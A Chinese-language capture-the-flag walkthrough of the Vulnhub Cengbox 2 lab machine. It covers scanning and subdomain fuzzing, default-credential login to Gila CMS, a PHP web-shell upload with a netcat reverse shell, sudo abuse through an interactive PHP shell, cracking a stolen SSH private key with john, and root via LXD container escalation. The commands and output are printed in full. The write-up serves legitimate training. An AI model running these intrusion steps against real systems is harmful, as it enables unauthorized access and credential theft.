主頁 >  其他 > Vulnhub之Cengbox 2靶機詳細測驗程序（利用不同的方法提權）

Vulnhub之Cengbox 2靶機詳細測驗程序（利用不同的方法提權）

2023-06-24 07:34:00 其他

Cengbox 2

識別目標主機IP地址

─(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                              
                                                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:03      1      60  Unknown vendor                                                                                           
 192.168.56.100  08:00:27:ea:c7:5b      1      60  PCS Systemtechnik GmbH                                                                                   
 192.168.56.254  08:00:27:ee:62:de      1      60  PCS Systemtechnik GmbH

NMAP掃描

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-22 20:09 EDT
Nmap scan report for localhost (192.168.56.254)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.56.253
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             209 May 23  2020 note.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:99:9d:e0:bc:07:3c:4f:53:e5:bc:27:35:80:e4:9e (RSA)
|   256 fe:60:a1:10:90:98:8e:b0:82:02:3b:40:bc:df:66:f1 (ECDSA)
|_  256 3a:c3:a0:e7:bd:20:ca:1e:71:d4:3c:12:23:af:6a:c3 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site Maintenance
MAC Address: 08:00:27:EE:62:DE (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

獲得Shell

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ ftp 192.168.56.254 
Connected to 192.168.56.254.
220 (vsFTPd 3.0.3)
Name (192.168.56.254:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering Extended Passive Mode (|||56112|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        119          4096 May 23  2020 .
drwxr-xr-x    2 0        119          4096 May 23  2020 ..
-rw-r--r--    1 0        0             209 May 23  2020 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||5618|)
150 Opening BINARY mode data connection for note.txt (209 bytes).
100% |****************************************************************************************************************|   209      488.28 KiB/s    00:00 ETA
226 Transfer complete.


┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ cat note.txt      
Hey Kevin,
I just set up your panel and used default password. Please change them before any hack.

I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.

Aaron

域名：ceng-company.vm

可能的用戶名： kevin, aaron

其他：kevin可能密碼比較弱

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ curl http://192.168.56.254           
<!doctype html>
<title>Site Maintenance</title>
<style>
  body { text-align: center; padding: 150px; }
  h1 { font-size: 50px; }
  body { font: 20px Helvetica, sans-serif; color: #333; }
  article { display: block; text-align: left; width: 650px; margin: 0 auto; }
  a { color: #dc8100; text-decoration: none; }
  a:hover { color: #333; text-decoration: none; }
</style>

<article>
        <h1>Site Maintenance</h1>
    <div>
        <p>Sorry, We don't serve yet. You can check later the site. Regards </p> <p>&mdash; Ceng Company Team</p>
    </div>
</article>


┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ sudo vim /etc/hosts                                        
                                                                                                                                                             
┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ cat /etc/hosts            
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.254  ceng-company.vm

但是訪問域名ceng-company.vm，回傳頁面內容沒有發生變化

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ gobuster dir -u http://ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.js,.sh
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://ceng-company.vm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,txt,js,sh
[+] Timeout:                 10s
===============================================================
2023/06/22 20:17:02 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 555]
/.html                (Status: 403) [Size: 295]
/.php                 (Status: 403) [Size: 294]
/.html                (Status: 403) [Size: 295]
/.php                 (Status: 403) [Size: 294]
/server-status        (Status: 403) [Size: 303]
Progress: 1320683 / 1323366 (99.80%)

目錄掃描沒有啥識訓，是否存在子域名？

─(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ wfuzz -c -u 'ceng-company.vm' -H 'Host:FUZZ.ceng-company.vm' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 76=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                     
=====================================================================

000000001:   400        12 L     53 W       422 Ch      "# directory-list-2.3-medium.txt"                                                           
000000003:   400        12 L     53 W       422 Ch      "# Copyright 2007 James Fisher"                                                             
000000007:   400        12 L     53 W       422 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                           
000000013:   400        12 L     53 W       422 Ch      "#"                                                                                         
000000011:   400        12 L     53 W       422 Ch      "# Priority ordered case sensative list, where entries were found"                          
000000010:   400        12 L     53 W       422 Ch      "#"                                                                                         
000000009:   400        12 L     53 W       422 Ch      "# Suite 300, San Francisco, California, 94105, USA."                                       
000000012:   400        12 L     53 W       422 Ch      "# on atleast 2 different hosts"                                                            
000000006:   400        12 L     53 W       422 Ch      "# Attribution-Share Alike 3.0 License. To view a copy of this"                             
000000005:   400        12 L     53 W       422 Ch      "# This work is licensed under the Creative Commons"                                        
000000008:   400        12 L     53 W       422 Ch      "# or send a letter to Creative Commons, 171 Second Street,"                                
000000002:   400        12 L     53 W       422 Ch      "#"                                                                                         
000000004:   400        12 L     53 W       422 Ch      "#"                                                                                         
000000259:   403        11 L     32 W       296 Ch      "admin"

發現admin子域名回傳狀態碼為403

將該子域名加入到/etc/hosts檔案：

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ sudo vim /etc/hosts
                                                                                                                                                             
┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.254  ceng-company.vm
192.168.56.254  admin.ceng-company.vm

訪問admin.ceng-company.vm回傳“Forbidden"，是否應該掃描一下目錄：

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ gobuster dir -u http://admin.ceng-company.vm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak,.sh,.js
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://admin.ceng-company.vm/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              js,php,html,txt,bak,sh
[+] Timeout:                 10s
===============================================================
2023/06/22 20:31:01 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 301]
/.php                 (Status: 403) [Size: 300]
/.html                (Status: 403) [Size: 301]
/.php                 (Status: 403) [Size: 300]
/server-status        (Status: 403) [Size: 309]
/gila                 (Status: 301) [Size: 329] [--> http://admin.ceng-company.vm/gila/]


──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ gobuster dir -u http://admin.ceng-company.vm/gila/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak,.sh,.js
===============================================================

終于找到了登錄的入口

嘗試用戶名為[email protected], 密碼為admin

上傳shell.php，發現被保存在assets目錄下

訪問下面的url:

http://admin.ceng-company.vm/gila/assets/shell.php

成功得到了shell

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ sudo nc -nlvp 5555                                         
listening on [any] 5555 ...
connect to [192.168.56.253] from (UNKNOWN) [192.168.56.254] 40688
Linux cengbox 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 17:39:51 up 34 min,  0 users,  load average: 1.04, 4.65, 3.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cengbox:/$ cd /home
cd /home
www-data@cengbox:/home$ ls -alh
ls -alh
total 16K
drwxr-xr-x  4 root    root       4.0K May 23  2020 .
drwxr-xr-x 23 root    root       4.0K May 23  2020 ..
drwxr-x---  4 mitnick developers 4.0K May 25  2020 mitnick
drwxr-xr-x  4 swartz  swartz     4.0K May 26  2020 swartz
www-data@cengbox:/home$ cd mitnick
cd mitnick
bash: cd: mitnick: Permission denied
www-data@cengbox:/home$ cd swartz
cd swartz
www-data@cengbox:/home/swartz$ ls -alh
ls -alh
total 44K
drwxr-xr-x 4 swartz swartz     4.0K May 26  2020 .
drwxr-xr-x 4 root   root       4.0K May 23  2020 ..
-rw------- 1 swartz swartz        1 May 26  2020 .bash_history
-rw-r--r-- 1 swartz swartz      220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 swartz swartz     3.7K Aug 31  2015 .bashrc
drwx------ 2 swartz swartz     4.0K May 23  2020 .cache
drwx------ 2 swartz developers 4.0K May 26  2020 .gnupg
-rw------- 1 swartz developers    1 May 26  2020 .php_history
-rw-r--r-- 1 swartz swartz      655 May 16  2017 .profile
-rw------- 1 swartz developers    1 May 26  2020 .viminfo
-rwxr-xr-x 1 swartz swartz       20 May 26  2020 runphp.sh
www-data@cengbox:/home/swartz$ cat runphp.sh
cat runphp.sh
#!/bin/bash

php -a
www-data@cengbox:/home/swartz$ 


www-data@cengbox:/var/www/admin/gila$ cat config.php
cat config.php
<?php

$GLOBALS['config'] = array (
  'db' => 
  array (
    'host' => 'localhost',
    'user' => 'root',
    'pass' => 'SuperS3cR3TPassw0rd1!',
    'name' => 'gila',
  ),
  'permissions' => 
  array (
    1 => 
    array (
      0 => 'admin',
      1 => 'admin_user',
      2 => 'admin_userrole',
    ),
  ),
  'packages' => 
  array (
    0 => 'blog',
  ),
  'base' => 'http://admin.ceng-company.vm/gila/',
  'theme' => 'gila-blog',
  'title' => 'Gila CMS',
  'slogan' => 'An awesome website!',
  'default-controller' => 'blog',
  'timezone' => 'America/Mexico_City',
  'ssl' => '',
  'env' => 'pro',
  'check4updates' => 1,
  'language' => 'en',
  'admin_email' => '[email protected]',
  'rewrite' => true,


www-data@cengbox:/$ sudo -l 
sudo -l
Matching Defaults entries for www-data on cengbox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on cengbox:
    (swartz) NOPASSWD: /home/swartz/runphp.sh
www-data@cengbox:/$ sudo -u swartz /home/swartz/runphp.sh
sudo -u swartz /home/swartz/runphp.sh
Interactive mode enabled

No entry for terminal type "unknown";
using dumb terminal settings.
php > system("/bin/bash")
system("/bin/bash")
php > id
id
php > ;
;
PHP Parse error:  syntax error, unexpected 'id' (T_STRING) in php shell code on line 2
php > system("/bin/bash");
system("/bin/bash");
swartz@cengbox:/$ id
id
uid=1001(swartz) gid=1002(developers) groups=1002(developers)
swartz@cengbox:/$ 


swartz@cengbox:/home/mitnick$ cd .ssh 
cd .ssh
swartz@cengbox:/home/mitnick/.ssh$ ls -alh
ls -alh
total 20K
drwxr-x--- 2 mitnick developers 4.0K May 25  2020 .
drwxr-x--- 4 mitnick developers 4.0K May 25  2020 ..
-rw-r--r-- 1 mitnick developers  397 May 25  2020 authorized_keys
-rw-r--r-- 1 mitnick developers 1.8K May 25  2020 id_rsa
-rw-r--r-- 1 mitnick developers  397 May 25  2020 id_rsa.pub
swartz@cengbox:/home/mitnick/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,21425CA12E394F02C77645793C350D91

jOzfhmCwJQ8eqkzxuAgaXxy8Nh0AL1NR2dXz0tZVbSRRKdUcAeXQFkNYdAH+InjR
mg0FUtcz69l5iomrBHd71ZnK4iQMVcZZ37r8fAQppvZVGhKbf5DGmnyDZiTxGtdv
O6kEQOXOAVUce+bMDEgChMEdORmk2yisizjDi9IMttWQ3VMyaHoyRp2UOCjntZPC
KcpQMGjWJEos3ZrlIrfX/FSkfT0QkwdzkigeJsC7zH0AioH55tdfAY8d33AJuSQ0
7I7z5qMfn7tfNd8n642xFGnRV2YMCYiO8XB0f5OJz67T4doagB985ZNDtqJdxkoF
kXlqdvs1KJzCAMu9m0m4UV7ZR7qmYKiFXnEkl/hE9i3CF9S6UOjKKRZq26TpJVj4
a4WJ+yauszPVI9KlnB7X9g5cd3Xoe04ROWbaVhx0tv3ipjcbGOPcuQudiMH8P0rj
pXI0YD/nDSV9gCqfgi0wJTag8LK+4ZUENHu3ThukuONCGZpkdJg/UETu9m8Cl8CR
pa4khXbI+1J7frvqUFq+op3CBT4GccKUbD4B/Sa2BLjsOV75A/tpffr2ROo8KxaL
HFHJUqwhTCk6qp5Hx6tQWtaUQ7gdOJ1BMARts/x3rGpphdmSwqZqusdrw/KS3TbH
VkjpO5lABvEMGl2/HbB2flEZk+fkJ3YNq78+IQSxNSDFPsAIMySFmro+tf9X7KWu
hna6795X13c+WdE5hEsK6X2bOkZhFln/6Rkz5BsWNlaBVQwYfthfepN+e4NwdtcT
e/NZt/Cppe+J74ABmC8FyKVr+sbnb2MWWwg2nQ9aPEcDinjWk7ALtJbwIG46Udb9
l/c8/RSot4rRA3ADHj5JZtEAnnrwCHO7cc4yGLEJOneSPxz4yW8vSGDd7iAWjYuE
Y0CDY6iH2cvi3rrVrfUZ1beHMcegRtsTgPj2tbd7x4FD6xY+Vha+Va/OV6F7kuE7
fgS5uJs/WqCVemQWKLfa22AMeCRn5qB9AT1gAGbH5oFlrOtOvvbpZsdiRSp86mx5
/Pzrio/5e0kZ1b4+PF1cUOzFJOVOADl8hGQxE9LYOozxKGdSEP1oJOhThCGQVK8W
cQZ91RSt5tbQbhO3T4r8whOgOFyf3N/jEJ2IBzFKDZAqn0oxUzQFcBnsYIMhO29F
bTH6WyWaIy97HxSEzMmMUJo78n8uptNkglFPYp0LTzTEXsEYC6WxGBIihXQHEJlJ
1XxTCMoZFkZ2IpL9TmRtdWcqKBjiXLXuPjpMaIlg3tL8AEqR92stCPpyIVkfsxRf
j+FgaA97zTv8je+uGIAyv3fl3W69LOsMSTGwZutxngBsyhK3FbzF5r1c6c55jxXK
Tj+QuvPjLwGNT9KQ3XT4oGe5KSiSQ3ZhA4K1AhGyfCxhA2hdK7Y9RZVxKISCzjsY
4oNeFNZKIhTIWITNcr4/ebGiQuyLyOQpTgP6kpiLDYcZlPdIjdBAEjF+5rVcuxfB
xtHilk7LLiLarD6lFaF4bYoB2lwW0ioUzvZYUjLIT7RyrDa6tnidXI9aVAWgLFor
xi3Ed0lgkxkFm6AFQ0Zq1R8MqI4+6apX4nqqV/ybGpBFwpjgI//mOlHf9kdxp0Pk
-----END RSA PRIVATE KEY-----

將id_rsa檔案內容拷貝并在Kali Linux本地創建id_rsa檔案，修改權限，發現有口令保護，利用john工具破解，從而成功登錄mitnick:

┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ chmod 400 id_rsa     
 
                                                                                                                                                             
┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ ssh -i id_rsa [email protected]                           
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:uZvIZKaW470Qvua+TX3Wa1NqBXo7T/pWydAbAvGFVSQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': 

                                                                                                                                                             
┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ ssh2john id_rsa > hash              
                                                                                                                                                             
┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash     
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
legend           (id_rsa)     
1g 0:00:00:00 DONE (2023-06-22 20:57) 2.702g/s 5232p/s 5232c/s 5232C/s amore..bubba1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                             
┌──(kali?kali)-[~/Vulnhub/Cengbox2]
└─$ ssh -i id_rsa [email protected]                 
Enter passphrase for key 'id_rsa': 

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

166 packages can be updated.
119 updates are security updates.

Last login: Tue May 26 07:12:16 2020 from 192.168.0.14
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

mitnick@cengbox:~$ id
uid=1000(mitnick) gid=1002(developers) groups=1002(developers),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare)
mitnick@cengbox:~$ ls -alh
total 48K
drwxr-x--- 4 mitnick developers 4.0K May 25  2020 .
drwxr-xr-x 4 root    root       4.0K May 23  2020 ..
-rw------- 1 mitnick mitnick       1 May 26  2020 .bash_history
-rw-r--r-- 1 mitnick mitnick     220 May 23  2020 .bash_logout
-rw-r--r-- 1 mitnick mitnick    3.7K May 23  2020 .bashrc
drwx------ 2 mitnick mitnick    4.0K May 23  2020 .cache
-rw------- 1 mitnick mitnick     505 May 23  2020 .mysql_history
-rw------- 1 mitnick mitnick       1 May 26  2020 .php_history
-rw-r--r-- 1 mitnick mitnick     655 May 23  2020 .profile
drwxr-x--- 2 mitnick developers 4.0K May 25  2020 .ssh
-rw------- 1 mitnick mitnick      33 May 23  2020 user.txt
-rw------- 1 mitnick mitnick       1 May 26  2020 .viminfo
mitnick@cengbox:~$ cat user.txt
a10333b0b7c3f914e8c446fd8e9cd362
mitnick@cengbox:~$

由于mitnick用戶屬于lxd組，因此利用Lxd實作本地提權：

mitnick@cengbox:/tmp$ wget http://192.168.56.253:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2023-06-22 18:02:36--  http://192.168.56.253:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 192.168.56.253:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’

alpine-v3.13-x86_64-20210218_0139.tar.g 100%[============================================================================>]   3.11M  --.-KB/s    in 0.01s   

2023-06-22 18:02:36 (284 MB/s) - ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’ saved [3259593/3259593]

mitnick@cengbox:/tmp$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
mitnick@cengbox:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
mitnick@cengbox:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
mitnick@cengbox:/tmp$ lxc start ignite
mitnick@cengbox:/tmp$ lxc exec ignite /bin/sh
~ # cd /mnt/root
/mnt/root # ls -alh
total 96K    
drwxr-xr-x   23 root     root        4.0K May 23  2020 .
drwxr-xr-x    3 root     root        4.0K Jun 23 01:03 ..
drwxr-xr-x    2 root     root        4.0K May 23  2020 bin
drwxr-xr-x    3 root     root        4.0K May 23  2020 boot
drwxr-xr-x   18 root     root        3.8K Jun 23 00:05 dev
drwxr-xr-x   92 root     root        4.0K May 26  2020 etc
drwxr-xr-x    4 root     root        4.0K May 23  2020 home
lrwxrwxrwx    1 root     root          33 May 23  2020 initrd.img -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x   22 root     root        4.0K May 25  2020 lib
drwxr-xr-x    2 root     root        4.0K May 23  2020 lib64
drwx------    2 root     root       16.0K May 23  2020 lost+found
drwxr-xr-x    3 root     root        4.0K May 23  2020 media
drwxr-xr-x    2 root     root        4.0K Feb 26  2019 mnt
drwxr-xr-x    2 root     root        4.0K May 25  2020 opt
dr-xr-xr-x  153 root     root           0 Jun 23 00:05 proc
drwx------    3 root     root        4.0K May 26  2020 root
drwxr-xr-x   27 root     root         960 Jun 23 01:03 run
drwxr-xr-x    2 root     root       12.0K May 23  2020 sbin
drwxr-xr-x    2 root     root        4.0K May 23  2020 snap
drwxr-xr-x    3 root     root        4.0K May 23  2020 srv
dr-xr-xr-x   13 root     root           0 Jun 23 00:54 sys
drwxrwxrwt    9 root     root        4.0K Jun 23 01:04 tmp
drwxr-xr-x   10 root     root        4.0K May 23  2020 usr
drwxr-xr-x   15 root     root        4.0K May 23  2020 var
lrwxrwxrwx    1 root     root          30 May 23  2020 vmlinuz -> boot/vmlinuz-4.4.0-142-generic
/mnt/root # cd root
/mnt/root/root # ls -alh
total 36K    
drwx------    3 root     root        4.0K May 26  2020 .
drwxr-xr-x   23 root     root        4.0K May 23  2020 ..
-rw-------    1 root     root           0 May 26  2020 .bash_history
-rw-r--r--    1 root     root        3.0K Oct 22  2015 .bashrc
drwxr-xr-x    2 root     root        4.0K May 23  2020 .nano
-rw-------    1 root     root           1 May 26  2020 .php_history
-rw-r--r--    1 root     root         148 Aug 17  2015 .profile
-rw-r--r--    1 root     root          66 May 23  2020 .selected_editor
-rw-------    1 root     root           1 May 26  2020 .viminfo
-rw-r--r--    1 root     root         518 May 23  2020 root.txt
/mnt/root/root # cat root.txt
  _____ ______             ____            ___  
 / ____|  ____|           |  _ \          |__ \ 
| |    | |__   _ __   __ _| |_) | _____  __  ) |
| |    |  __| | '_ \ / _` |  _ < / _ \ \/ / / / 
| |____| |____| | | | (_| | |_) | (_) >  < / /_ 
 \_____|______|_| |_|\__, |____/ \___/_/\_\____|
                      __/ |                     
                     |___/                      

I would be grateful for your any feedback. Feel free to contact me on Twitter @arslanblcn_

de89782fe4e8bf2198a022ae7f50613e
/mnt/root/root #
STRIVE FOR PROGRESS,NOT FOR PERFECTION

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/555824.html

標籤：其他

上一篇：八大生產故障的通用排查思路

下一篇：返回列表

標籤雲
其他(161496) Python(38244) JavaScript(25512) Java(18251) C(15238) 區塊鏈(8271) C＃(7972) AI(7469) 爪哇(7425) MySQL(7265) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5875) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4606) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2436) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1984) HtmlCss(1971) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • Vulnhub之Cengbox 2靶機詳細測驗程序（利用不同的方法提權）

    # Cengbox 2 ## 識別目標主機IP地址 ```shell ─(kali?kali)-[~/Vulnhub/Cengbox2] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: Finished! | S ......

    uj5u.com 2023-06-24 07:34:00 more
  • 八大生產故障的通用排查思路

    一、常見的生產故障有哪些？ 在生產環境中，常見的故障型別包括但不限于以下幾種： 網路故障：網路故障可能包括網路連接中斷、網路延遲過高、路由錯誤等。這可能導致系統無法正常訪問外部資源，或導致應用程式無法與其他系統進行通信。 服務器故障：服務器故障可能包括硬體故障、作業系統崩潰、服務崩潰等。這可能導致系 ......

    uj5u.com 2023-06-22 08:23:07 more
  • 八大生產故障的通用排查思路

